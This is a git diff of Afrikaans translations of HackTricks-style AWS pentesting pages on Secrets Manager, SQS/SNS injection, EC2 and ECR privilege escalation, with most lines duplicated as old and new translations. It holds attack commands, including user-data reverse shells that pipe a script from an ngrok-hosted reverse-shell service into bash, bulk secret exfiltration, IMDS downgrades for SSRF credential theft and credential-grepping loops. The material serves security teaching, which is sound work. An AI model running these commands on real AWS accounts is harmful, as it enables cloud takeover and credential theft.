Dit is moontlik om 'n secret te herstel, wat die herstel van secrets wat vir verwydering geskeduleer is toelaat, aangesien die minimum verwyderingsperiode vir secrets 7 dae is en die maksimum 30 dae. Saam met die secretsmanager:GetSecretValue toestemming maak dit moontlik om hul inhoud op te haal.
Om 'n geheim wat in die proses van verwydering is te herstel, kan jy die volgende opdrag gebruik:
Om 'n secret wat in die proses van verwydering is te herstel, kan jy die volgende opdrag gebruik:
```bash
aws secretsmanager restore-secret \
--secret-id <Secret_Name>
```
## secretsmanager:DeleteResourcePolicy
Hierdie aksie laat toe om die resource policy wat beheer wie toegang tot 'n secret het, te verwyder. Dit kan tot 'n DoS lei as die resource policy gekonfigureer was om toegang aan 'n spesifieke groep gebruikers toe te laat.
Hierdie aksie maak dit moontlik om die resource policy te verwyder wat beheer wie toegang tot 'n secret het. Dit kan tot 'n DoS lei as die resource policy gekonfigureer is om toegang vir 'n spesifieke groep gebruikers toe te laat.
Om die resource policy te verwyder:
```bash
@@ -66,11 +66,11 @@ aws secretsmanager delete-resource-policy \
```
## secretsmanager:UpdateSecretVersionStage
Die statusse van ’n geheim word gebruik om weergawes daarvan te bestuur. AWSCURRENT merk die aktiewe weergawe wat toepassings gebruik, AWSPREVIOUS hou die vorige weergawe sodat jy indien nodig kan terugrol, en AWSPENDING word in die rotasieproses gebruik om ’n nuwe weergawe voor te berei en te valideer voordat dit die huidige gemaak word.
Die statusse van 'n geheim word gebruik om weergawes daarvan te bestuur. AWSCURRENT merk die aktiewe weergawe wat toepassings gebruik, AWSPREVIOUS hou die vorige weergawe sodat jy indien nodig kan terugrol, en AWSPENDING word in die rotasieproses gebruik om 'n nuwe weergawe voor te berei en te valideer voordat dit die huidige gemaak word.
Toepassings lees altyd die weergawe met AWSCURRENT. As iemand daardie etiket na die verkeerde weergawe skuif, sal die toepassings ongeldige geloofsbriewe gebruik en kan misluk.
Toepassings lees altyd die weergawe met AWSCURRENT. As iemand daardie etiket na die verkeerde weergawe skuif, sal die apps ongeldige credentials gebruik en kan misluk.
AWSPREVIOUS word nie outomaties gebruik nie. Indien AWSCURRENT egter verwyder of verkeerd toegewys word, kan dit voorkom asof alles steeds met die vorige weergawe loop.
AWSPREVIOUS word nie outomaties gebruik nie. As AWSCURRENT egter verwyder of verkeerd heraangewys word, kan dit lyk asof alles nog met die vorige weergawe loop.
```bash
aws secretsmanager update-secret-version-stage \
--secret-id <your-secret-name-or-arn> \
@@ -78,24 +78,18 @@ aws secretsmanager update-secret-version-stage \
--move-to-version-id <target-version-id> \
--remove-from-version-id <previous-version-id>
```
{{#include ../../../../banners/hacktricks-training.md}}
### Mass Secret Exfiltration via BatchGetSecretValue (tot 20 per oproep)
Misbruik die Secrets Manager BatchGetSecretValue API om tot 20 secrets in 'n enkele versoek te onttrek. Dit kan die aantal API-oproepe dramaties verminder vergeleke met om GetSecretValue per secret te herhaal. As filters gebruik word (tags/name), is ListSecrets-permissie ook nodig. CloudTrail registreer steeds een GetSecretValue-gebeurtenis per secret wat in die batch opgevra is.
### Mass Secret Exfiltration via BatchGetSecretValue (up to 20 per call)
Misbruik die Secrets Manager BatchGetSecretValue API om tot 20 geheime in 'n enkele versoek te bekom. Dit kan API-oproepvolume drasties verminder in vergelyking met om GetSecretValue per geheim te herhaal. As filters gebruik word (tags/name), is ListSecrets-permissie ook benodig. CloudTrail neem steeds een GetSecretValue-gebeurtenis op per geheim wat in die groep teruggehaal word.
Vereiste permissies
- `secretsmanager:BatchGetSecretValue`
- `secretsmanager:GetSecretValue` vir elke teiken-geheim
- `secretsmanager:ListSecrets` indien `--filters` gebruik word
- `kms:Decrypt` op die CMKs wat deur die geheime gebruik word (as nie `aws/secretsmanager` gebruik word nie)
Vereiste toestemmings
- secretsmanager:BatchGetSecretValue
- secretsmanager:GetSecretValue for each target secret
- secretsmanager:ListSecrets if using --filters
- kms:Decrypt on the CMKs used by the secrets (if not using aws/secretsmanager)
> [!WARNING]
> Neem kennis dat die toestemming `secretsmanager:BatchGetSecretValue` op sigself nie voldoende is om geheime te verkry nie; jy benodig ook `secretsmanager:GetSecretValue` vir elke geheim wat jy wil verkry.
> Let daarop dat die toestemming `secretsmanager:BatchGetSecretValue` op sigself nie voldoende is om secrets te onttrek nie; jy benodig ook `secretsmanager:GetSecretValue` vir elke secret wat jy wil onttrek.
Exfiltrate by explicit list
```bash
@@ -103,7 +97,7 @@ aws secretsmanager batch-get-secret-value \
--secret-id-list <secret1> <secret2> <secret3> \
--query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}'
```
Exfiltrate deur filters (tag key/value of naamvoorvoegsel)
Exfiltrate deur filters (tag key/value of name prefix)
```bash
# By tag key
aws secretsmanager batch-get-secret-value \
@@ -126,5 +120,6 @@ Omgaan met gedeeltelike mislukkings
aws secretsmanager batch-get-secret-value --secret-id-list <id1> <id2> <id3>
```
Impak
- Vinnige “smash-and-grab” van baie geheime met minder API-oproepe, wat waarskuwings wat afgestel is op pieke van GetSecretValue potensieel kan omseil.
- CloudTrail-logboeke bevat steeds een GetSecretValue-gebeurtenis per geheim wat deur die bondel opgehaal is.
- Vinnige “smash-and-grab” van baie secrets met minder API-oproepe, wat moontlik alerting omseil wat afgestem is op pieke van GetSecretValue.
- CloudTrail logs bevat steeds een GetSecretValue event per secret wat deur die batch opgehaal is.
{{#include ../../../../banners/hacktricks-training.md}}

20
src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-sns-injection.md
View File

@@ -1,17 +1,17 @@
# AWS – SQS Kruis-/Dieselfde-Rekening Injectie via SNS Subskripsie + Queue Policy
# AWS – SQS Kruis-/Dieselfde-rekening Injection deur SNS Subscription + Queue Policy
{{#include ../../../../banners/hacktricks-training.md}}
## Beskrywing
## Description
Misbruik 'n SQS queue resource policy om 'n deur die aanvaller beheerde SNS topic toe te laat om boodskappe in 'n slagoffer SQS-queue te publiseer. In dieselfde rekening word 'n SQS-subskripsie op 'n SNS-topic outomaties bevestig; in kruis-rekening scenario's moet jy die SubscriptionConfirmation-token uit die queue lees en ConfirmSubscription aanroep. Dit maak onverlangde boodskap-injectie moontlik wat downstream consumers moontlik implisiet vertrou.
Misbruik 'n SQS queue resource policy om 'n aanvaller-beheerde SNS topic toe te laat om messages in 'n slagoffer se SQS queue te publiseer. In dieselfde rekening bevestig 'n SQS subscription na 'n SNS topic outomaties; in kruis-rekening moet jy die SubscriptionConfirmation token vanaf die queue lees en ConfirmSubscription aanroep. Dit maak message injection moontlik waarop downstream consumers moontlik impliciet vertrou.
### Vereistes
### Requirements
- Vermoë om die teiken SQS queue resource policy te wysig: `sqs:SetQueueAttributes` on the victim queue.
- Vermoë om 'n SNS topic te skep/publiseer wat onder die aanvaller se beheer is: `sns:CreateTopic`, `sns:Publish`, and `sns:Subscribe` on the attacker account/topic.
- Slegs kruis-rekening: tydelike `sqs:ReceiveMessage` op die slagoffer-queue om die confirmation token te lees en `sns:ConfirmSubscription` aan te roep.
- Vermoë om 'n SNS topic onder aanvallerbeheer te skep/publiseer: `sns:CreateTopic`, `sns:Publish`, and `sns:Subscribe` on the attacker account/topic.
- Net kruis-rekening: tydelike `sqs:ReceiveMessage` on the victim queue om die confirmation token te lees en `sns:ConfirmSubscription` aan te roep.
### Eksploitasie in dieselfde rekening
### Same-account exploitation
```bash
REGION=us-east-1
# 1) Create victim queue and capture URL/ARN
@@ -45,10 +45,10 @@ aws sns publish --topic-arn "$TOPIC_ARN" --message {pwn:sns->sqs} --region $REGI
aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 10 --attribute-names All --message-attribute-names All
```
### Kruis-rekening notas
- Die queue policy hierbo moet die vreemde `TOPIC_ARN` (attacker account) toelaat.
- Subscriptions sal nie outomaties bevestig nie. Gee jouself tydelike `sqs:ReceiveMessage` op die victim queue om die `SubscriptionConfirmation` boodskap te lees en roep dan `sns confirm-subscription` met sy `Token`.
- Die queue-beleid hierbo moet die buitelandse `TOPIC_ARN` (attacker account) toelaat.
- Subskripsies sal nie outomaties bevestig word nie. Gee jouself tydelike `sqs:ReceiveMessage` op die victim queue om die `SubscriptionConfirmation` boodskap te lees en roep dan `sns confirm-subscription` met sy `Token`.
### Impak
**Potensiële Impak**: Deurlopende ongevraagde boodskap-inspuiting in 'n vertroude SQS queue via SNS, wat moontlik onbedoelde verwerking, databesoedeling, of workflow-misbruik kan veroorsaak.
**Potential Impact**: Deurlopende ongevraagde boodskap-inspuiting in 'n vertroude SQS queue via SNS, wat moontlik onbedoelde verwerking, datavervuiling, of misbruik van werkvloei kan veroorsaak.
{{#include ../../../../banners/hacktricks-training.md}}

85
src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md
View File

@@ -12,11 +12,11 @@ Vir meer **inligting oor EC2** kyk:
### `iam:PassRole`, `ec2:RunInstances`
'n aanvaller kan **'n instansie skep en 'n IAM-role daaraan heg en dan toegang tot die instansie kry** om die IAM-role se toegangsbewyse vanaf die metadata-endpunt te steel.
'n aanvaller kan **'n instance skep met 'n aangehegte IAM role en dan toegang tot die instance kry** om die IAM role credentials vanaf die metadata endpoint te steel.
- **Toegang via SSH**
Start 'n nuwe instansie met 'n **gemaakte** **ssh key** (`--key-name`) en ssh dan daarna in (as jy 'n nuwe een wil skep, mag jy die toestemming `ec2:CreateKeyPair` nodig hê).
Start 'n nuwe instance en gebruik 'n **reeds geskepte** **ssh key** (`--key-name`) en ssh daarna in (as jy 'n nuwe wil skep, mag jy dalk die permissie `ec2:CreateKeyPair` nodig hê).
```bash
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
@@ -24,7 +24,7 @@ aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
```
- **Toegang via rev shell in user data**
Jy kan 'n nuwe instance laat loop deur 'n **user data** (`--user-data`) te gebruik wat vir jou 'n **rev shell** sal stuur. Op hierdie manier hoef jy nie 'n security group te spesifiseer nie.
Jy kan 'n nuwe instansie laat loop deur 'n **user data** (`--user-data`) te gebruik wat jou 'n **rev shell** sal stuur. Jy hoef nie op hierdie manier 'n security group te spesifiseer nie.
```bash
echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
@@ -34,17 +34,17 @@ aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--count 1 \
--user-data "file:///tmp/rev.sh"
```
Wees versigtig met GuardDuty as jy die credentials van die IAM-rol buite die instance gebruik:
Wees versigtig met GuradDuty as jy die credentials van die IAM role buite die instance gebruik:
{{#ref}}
../../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
{{#endref}}
**Potensiële impak:** Direkte privesc na enige EC2-rol wat aan bestaande instance profiles gekoppel is.
**Potensiële impak:** Direkte privesc na enige EC2 role wat aan bestaande instance profiles gekoppel is.
#### Privesc to ECS
#### Privesc na ECS
Met hierdie stel permissies kan jy ook **'n EC2 instance skep en dit in 'n ECS cluster registreer**. Op hierdie manier sal ECS **services** in die **EC2 instance** waarin jy toegang het, **uitgevoer** word en dan kan jy daardie services (docker containers) penetreer en **hul aangehegte ECS-rolle steel**.
Met hierdie stel permissies kan jy ook **skep 'n EC2 instance en registreer dit binne 'n ECS cluster**. Op hierdie manier sal ECS **services** binne die **EC2 instance** waartoe jy toegang het, **run** word, en jy kan daardie services (docker containers) deurdring en hul **ECS roles attached** steel.
```bash
aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
@@ -59,19 +59,20 @@ aws ec2 run-instances \
#!/bin/bash
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
```
Om te leer hoe om **ECS services te dwing om in hierdie nuwe EC2-instansie uitgevoer te word**, kyk:
Om te leer hoe om **ECS-dienste te dwing om op hierdie nuwe EC2-instantie uitgevoer te word**, sien:
{{#ref}}
../aws-ecs-privesc/README.md
{{#endref}}
As jy **nie 'n nuwe instansie kan skep nie** maar die permissie `ecs:RegisterContainerInstance` het, kan jy moontlik die instansie binne die cluster registreer en die genoemde aanval uitvoer.
As jy **nie 'n nuwe instansie kan skep nie** maar die permissie `ecs:RegisterContainerInstance` het, kan jy dalk die instansie binne die cluster registreer en die genoemde aanval uitvoer.
**Potensiële impak:** Direkte privesc na ECS-rolle wat aan tasks gekoppel is.
**Potensiële impak:** Direkte privesc op ECS-rolle wat aan tasks gekoppeld is.
### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`**
Soortgelyk aan die vorige scenario, kan 'n aanvaller met hierdie permissies die **IAM-rol van 'n gekompromitteerde instansie verander** sodat hy nuwe credentials kan steel.\ Aangesien 'n instance profile slegs 1 rol kan hê, as die instance profile **reeds 'n rol het** (algemene geval), sal jy ook **`iam:RemoveRoleFromInstanceProfile`** nodig hê.
Soortgelyk aan die vorige scenario, 'n aanvaller met hierdie permissies kan **die IAM-rol van 'n gekompromitteerde instansie verander** sodat hy nuwe credentials kan steel.\
Aangesien 'n instance profile slegs 1 rol kan hê, as die instance profile **reeds 'n rol het** (algemene geval), sal jy ook **`iam:RemoveRoleFromInstanceProfile`** nodig hê.
```bash
# Removing role from instance profile
aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>
@@ -79,17 +80,17 @@ aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-
# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>
```
Indien die **instance profile 'n role het** en die aanvaller dit **nie kan verwyder nie**, is daar 'n ander ompad. Hy kan 'n **instance profile sonder 'n role** vind of **'n nuwe een skep** (`iam:CreateInstanceProfile`), die **role** by daardie **instance profile** **voeg** (soos voorheen bespreek), en die **instance profile** koppel aan 'n gekompromitteerde **instance:**
As die **instance profile 'n role het** en die attacker **kan dit nie verwyder nie**, is daar 'n ander ompad. Hy kan **vind** 'n **instance profile sonder 'n role** of **skep 'n nuwe een** (`iam:CreateInstanceProfile`), **voeg** die **role** by daardie **instance profile** (soos voorheen bespreek), en **assosieer die instance profile** compromised aan 'n compromised i**nstance:**
- As die **instance nie oor 'n instance profile beskik nie** (`ec2:AssociateIamInstanceProfile`)
- As die instance **het nie enige instance** profile nie (`ec2:AssociateIamInstanceProfile`)
```bash
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
```
**Potensiële impak:** Direct privesc na 'n ander EC2-rol (jy moet 'n AWS EC2-instansie gekompromitteer hê en ekstra permissie of 'n spesifieke instance profile-status).
**Potential Impact:** Direkte privesc na 'n ander EC2 role (jy moet 'n AWS EC2 instance gekompromitteer het en 'n ekstra toestemming of spesifieke instance profile status hê).
### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
Met hierdie permissies is dit moontlik om die instance profile wat aan 'n instansie gekoppel is te verander, sodat as die aanvaller reeds toegang tot daardie instansie het, hy in staat sal wees om credentials van meer instance-profile rolle te steel deur die een wat daaraan gekoppel is te verander.
Met hierdie permissions is dit moontlik om die instance profile wat aan 'n instance geassosieer is te verander, so as die aanvaller reeds toegang tot 'n instance gehad het sal hy in staat wees om credentials van meer instance profile roles te steel deur die een wat daarmee geassosieer is te verander.
- As dit **'n instance profile het**, kan jy die instance profile **verwyder** (`ec2:DisassociateIamInstanceProfile`) en dit **koppel**
```bash
@@ -101,12 +102,12 @@ aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --ins
```bash
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
```
**Potensiële impak:** Direkte privesc na 'n ander EC2 rol (jy moet 'n gekompromitteerde AWS EC2-instantie hê en 'n bykomende toestemming of spesifieke instance profile status).
**Potensiële impak:** Direkte privesc na 'n ander EC2 role (jy moet 'n AWS EC2 instance gekompromitteer het en sekere ekstra permissies of 'n spesifieke instance profile status hê).
### `ec2:RequestSpotInstances`,`iam:PassRole`
'n aanvaller met die toestemmings **`ec2:RequestSpotInstances`and`iam:PassRole`** kan **versoek** 'n **Spot Instance** met 'n **EC2 Role attached** en 'n **rev shell** in die **user data**.\
Sodra die instance loop, kan hy **steel die IAM role**.
'n aanvaller met die permissies **`ec2:RequestSpotInstances`and`iam:PassRole`** kan **request** 'n **Spot Instance** met 'n **EC2 Role attached** en 'n **rev shell** in die **user data**.\
Sodra die instance opgestart is, kan hy **steal the IAM role**.
```bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -118,9 +119,9 @@ aws ec2 request-spot-instances \
```
### `ec2:ModifyInstanceAttribute`
'n aanvaller met die **`ec2:ModifyInstanceAttribute`** kan die instansie se attribuutte wysig. Onder andere kan hy die **user data** verander, wat impliseer dat hy die instansie kan laat **arbitrêre data uitvoer.** Dit kan gebruik word om 'n **rev shell na die EC2 instance** te kry.
'n attacker met die **`ec2:ModifyInstanceAttribute`** kan die instance se attributte wysig. Onder andere kan hy die **user data** verander, wat beteken dat hy die instance kan laat **willekeurige data uitvoer.** Dit kan gebruik word om 'n **rev shell na die EC2 instance** te kry.
Let op dat die attribuutte slegs **gewysig kan word terwyl die instansie gestop is**, dus is die **permissions** **`ec2:StopInstances`** en **`ec2:StartInstances`** nodig.
Let wel dat die attributte slegs **gewysig kan word terwyl die instance gestop is**, dus benodig dit die **permissions** **`ec2:StopInstances`** en **`ec2:StartInstances`**.
```bash
TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0
@@ -157,11 +158,11 @@ aws ec2 modify-instance-attribute \
aws ec2 start-instances --instance-ids $INSTANCE_ID
```
**Potensiële impak:** Direkte privesc na enige EC2 IAM Role wat aan 'n geskepte instance gekoppel is.
**Potensiële impak:** Direkte privesc na enige EC2 IAM Role wat aan 'n geskepte instance geheg is.
### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
'n Aanvaller met die toestemmings **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** kan 'n **new Launch Template version** skep met 'n **rev shell in** die **user data** en met **any EC2 IAM Role on it**, die default version verander, en **any Autoscaler group** wat daardie **Launch Template** gebruik en gekonfigureer is om die **latest** of die **default version** te gebruik, sal die instances wat daardie template gebruik herbegin en die rev shell uitvoer.
'n aanvaller met die permissies **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** kan 'n **new Launch Template version** skep met 'n **rev shell in** die **user data** en **any EC2 IAM Role on it**, die standaardweergawe verander, en **any Autoscaler group** **using** that **Launch Templat**e that is **configured** to use the **latest** or the **default version** sal die instansies herbegin met daardie template en die rev shell uitvoer.
```bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -175,11 +176,11 @@ aws ec2 modify-launch-template \
--launch-template-name bad_template \
--default-version 2
```
**Potensiële impak:** Direkte privesc na 'n ander EC2 role.
**Potential Impact:** Direkte privesc na 'n ander EC2 role.
### (`autoscaling:CreateLaunchConfiguration` | `ec2:CreateLaunchTemplate`), `iam:PassRole`, (`autoscaling:CreateAutoScalingGroup` | `autoscaling:UpdateAutoScalingGroup`)
'n aanvaller met die permissies **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** kan **skep 'n Launch Configuration** met 'n **IAM Role** en 'n **rev shell** binne die **user data**, dan **skep 'n autoscaling group** van daardie config en wag dat die **rev shell** die **IAM Role** **steel**.
'n aanvaller met die permissies **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** kan **skep 'n Launch Configuration** met 'n **IAM Role** en 'n **rev shell** binne die **user data**, daarna **skep 'n autoscaling group** vanaf daardie config en wag dat die rev shell die **IAM Role** steel.
```bash
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
@@ -199,24 +200,24 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
### `!autoscaling`
Die stel permissies **`ec2:CreateLaunchTemplate`** en **`autoscaling:CreateAutoScalingGroup`** **is nie genoeg om voorregte na 'n IAM-rol te eskaleer nie** omdat om die rol wat in die Launch Configuration of in die Launch Template gespesifiseer is te koppel **jy die permissies `iam:PassRole` en `ec2:RunInstances` nodig het** (wat 'n bekende privesc is).
Die kombinasie van toestemmings **`ec2:CreateLaunchTemplate`** en **`autoscaling:CreateAutoScalingGroup`** is **nie genoeg om bevoegdhede na 'n IAM-rol te eskaleer nie**, want om die rol wat in die Launch Configuration of in die Launch Template gespesifiseer is aan te heg, het jy die toestemmings `iam:PassRole` en `ec2:RunInstances` nodig (wat 'n bekende privesc is).
### `ec2-instance-connect:SendSSHPublicKey`
'n Aanvaller met die permissie **`ec2-instance-connect:SendSSHPublicKey`** kan 'n SSH-sleutel by 'n gebruiker voeg en dit gebruik om toegang te kry (as hy SSH-toegang tot die instance het) of om privesc te verkry.
'n aanvaller met die toestemming **`ec2-instance-connect:SendSSHPublicKey`** kan 'n ssh-sleutel by 'n gebruiker voeg en dit gebruik om toegang te kry (as hy ssh-toegang tot die instance het) of om bevoegdhede te eskaleer.
```bash
aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "ec2-user" \
--ssh-public-key "file://$PUBK_PATH"
```
**Potensiële impak:** Direct privesc to the EC2 IAM roles attached to running instances.
**Potensiële impak:** Direkte privesc na die EC2 IAM-rolle wat aan lopende instances aangeheg is.
### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`
'n aanvaller met die toestemming **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** kan **'n ssh-sleutel by 'n seriële verbinding voeg**. As die seriële poort nie aangeskakel is nie, benodig die aanvaller die toestemming **`ec2:EnableSerialConsoleAccess` om dit aan te skakel**.
'n Aanvaller met die permissie **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** kan **'n ssh-sleutel by 'n seriële verbinding voeg**. As die seriële poort nie geaktiveer is nie, het die aanvaller die permissie **`ec2:EnableSerialConsoleAccess` nodig om dit te aktiveer**.
Om met die seriële poort te verbind moet jy ook **die gebruikersnaam en wagwoord van 'n gebruiker** binne die masjien ken.
Om aan die seriële poort te koppel, moet jy ook **die gebruikersnaam en wagwoord van 'n gebruiker** binne die masjien ken.
```bash
aws ec2 enable-serial-console-access
@@ -228,13 +229,13 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \
ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
```
Hierdie manier is nie baie nuttig vir privesc nie, aangesien jy 'n gebruikersnaam en wagwoord moet weet om dit uit te buit.
Hierdie manier is nie so nuttig vir privesc nie, aangesien jy 'n username en password moet ken om dit te exploit.
**Potential Impact:** (Baie moeilik om te bewys) Direkte privesc na die EC2 IAM-rolle wat aan lopende instances gekoppel is.
**Potential Impact:** (Hoogs onbewysbaar) Direkte privesc na die EC2 IAM roles wat aan running instances gekoppel is.
### `describe-launch-templates`,`describe-launch-template-versions`
Aangesien launch templates weergawebeheer het, kan 'n aanvaller met **`ec2:describe-launch-templates`** en **`ec2:describe-launch-template-versions`** toestemmings dit misbruik om sensitiewe inligting te vind, soos credentials in user data. Om dit te doen, deurloop die volgende script alle weergawes van die beskikbare launch templates:
Aangesien launch templates weergawes het, kan 'n attacker met **`ec2:describe-launch-templates`** en **`ec2:describe-launch-template-versions`** permissions hierdie exploit om sensitiewe inligting te ontdek, soos credentials in user data. Om dit te bereik, loop die volgende script deur alle weergawes van die beskikbare launch templates:
```bash
for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
do
@@ -247,27 +248,22 @@ echo
done | grep -iE "aws_|password|token|api"
done
```
In die bogenoemde opdragte, alhoewel ons sekere patrone spesifiseer (`aws_|password|token|api`), kan jy 'n ander regex gebruik om na ander tipes sensitiewe inligting te soek.
In die bogenoemde opdragte, hoewel ons sekere patrone spesifiseer (`aws_|password|token|api`), kan jy 'n ander regex gebruik om na ander tipes sensitiewe inligting te soek.
As ons `aws_access_key_id` en `aws_secret_access_key` vind, kan ons hierdie credentials gebruik om by AWS te verifieer.
As ons veronderstel `aws_access_key_id` en `aws_secret_access_key` vind, kan ons hierdie credentials gebruik om by AWS te autentiseer.
**Potensiële impak:** Direct privilege escalation to IAM user(s).
**Potensiële impak:** Direk privilege escalation na IAM user(s).
## Verwysings
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
{{#include ../../../../banners/hacktricks-training.md}}
### `ec2:ModifyInstanceMetadataOptions` (IMDS downgrade to enable SSRF credential theft)
'n Aanvaller met die vermoë om `ec2:ModifyInstanceMetadataOptions` op 'n slagoffer se EC2 instance te roep, kan IMDS-beskerming verswak deur IMDSv1 (`HttpTokens=optional`) te aktiveer en die `HttpPutResponseHopLimit` te verhoog. Dit maak die instance metadata-endpoint bereikbaar via algemene SSRF/proxy-paaie vanaf toepassings wat op die instance loop. As die aanvaller 'n SSRF in so 'n toepassing kan aktiveer, kan hulle die instance profile credentials terugtrek en daarmee pivot.
'n Aanvaller met die vermoë om `ec2:ModifyInstanceMetadataOptions` op 'n slagoffer EC2 instance aan te roep, kan IMDS-beskermings verswak deur IMDSv1 (`HttpTokens=optional`) te aktiveer en die `HttpPutResponseHopLimit` te verhoog. Dit maak die instance metadata endpoint bereikbaar via algemene SSRF/proxy-paaie vanaf toepassings wat op die instance loop. As die aanvaller 'n SSRF in so 'n app kan aktiveer, kan hulle die instance profile credentials terugkry en daarmee pivot.
- Benodigde permissies: `ec2:ModifyInstanceMetadataOptions` op die teiken instance (plus die vermoë om 'n SSRF op die gasheer te bereik/veroorsaak).
- Teikenhulpbron: Die lopende EC2 instance met 'n aangehegte instance profile (IAM role).
- Vereiste permissies: `ec2:ModifyInstanceMetadataOptions` op die teikeninstance (plus die vermoë om 'n SSRF op die host te bereik/aktiveer).
- Teikenbron: Die lopende EC2 instance met 'n aangehegte instance profile (IAM role).
Commands example:
```bash
@@ -296,4 +292,5 @@ aws sts get-caller-identity
aws ec2 modify-instance-metadata-options --instance-id <INSTANCE_ID> \
--http-tokens required --http-put-response-hop-limit 1
```
Potensiële impak: Diefstal van instance profile credentials via SSRF wat lei tot privilege escalation en lateral movement met die EC2-rol se permissies.
Potensiële impak: Diefstal van instance profile credentials via SSRF wat lei tot privilege escalation en lateral movement met die EC2 rolpermissies.
{{#include ../../../../banners/hacktricks-training.md}}

66
src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md
View File

@@ -6,21 +6,21 @@
### `ecr:GetAuthorizationToken`,`ecr:BatchGetImage`
'n Aanvaller met die **`ecr:GetAuthorizationToken`** en **`ecr:BatchGetImage`** kan by ECR aanmeld en beelde aflaai.
'n aanvaller met die **`ecr:GetAuthorizationToken`** en **`ecr:BatchGetImage`** kan by ECR aanmeld en beelde aflaai.
For more info on how to download images:
Vir meer inligting oor hoe om beelde af te laai:
{{#ref}}
../../aws-post-exploitation/aws-ecr-post-exploitation/README.md
{{#endref}}
**Potensiële impak:** Indirekte privesc deur sensitiewe inligting in die verkeer te onderskep.
**Potensiële impak:** Indirekte privesc deur sensitiewe inligting in die verkeer af te vang.
### `ecr:GetAuthorizationToken`, `ecr:BatchCheckLayerAvailability`, `ecr:CompleteLayerUpload`, `ecr:InitiateLayerUpload`, `ecr:PutImage`, `ecr:UploadLayerPart`
'n Aanvaller met al daardie permissies **kan by ECR aanmeld en beelde oplaai**. Dit kan nuttig wees om privilege te eskaleer na ander omgewings waar daardie beelde gebruik word.
'n aanvaller met al daardie toestemmings **kan by ECR aanmeld en beelde oplaai**. Dit kan nuttig wees om voorregte na ander omgewings te eskaleer waar daardie beelde gebruik word.
To learn how to upload a new image/update one, check:
Om te leer hoe om 'n nuwe beeld op te laai/een op te dateer, kyk:
{{#ref}}
../../aws-services/aws-eks-enum.md
@@ -28,12 +28,12 @@ To learn how to upload a new image/update one, check:
### `ecr-public:GetAuthorizationToken`, `ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload`, `ecr-public:InitiateLayerUpload, ecr-public:PutImage`, `ecr-public:UploadLayerPart`
Soos die vorige afdeling, maar vir publieke repositories.
Soos die vorige afdeling, maar vir openbare repositories.
### `ecr:SetRepositoryPolicy`
'n Aanvaller met hierdie permissie kan die **repository** **policy** verander om homself (of selfs almal) **read/write access** te gee.\
Byvoorbeeld, in hierdie voorbeeld word lees toegang aan almal gegee.
'n aanvaller met hierdie toestemming kan die **repository** **policy** verander om homself (of selfs almal) **lees/skryf toegang** te gee.\
Byvoorbeeld, in hierdie voorbeeld word lees-toegang aan almal gegee.
```bash
aws ecr set-repository-policy \
--repository-name <repo_name> \
@@ -59,8 +59,8 @@ Inhoud van `my-policy.json`:
```
### `ecr-public:SetRepositoryPolicy`
Soos die vorige afdeling, maar vir openbare repositorieë.\
'n aanvaller kan **die repositoriebeleid verander** van 'n ECR Public repository om ongemagtigde openbare toegang te verleen of hul bevoegdhede op te skaal.
Soos die vorige afdeling, maar vir publieke repositories.\
’n aanvaller kan die **repository policy** van ’n ECR Public repository wysig om ongemagtigde openbare toegang te verleen of om hul voorregte te eskaleer.
```bash
# Create a JSON file with the malicious public repository policy
echo '{
@@ -87,58 +87,52 @@ echo '{
# Apply the malicious public repository policy to the ECR Public repository
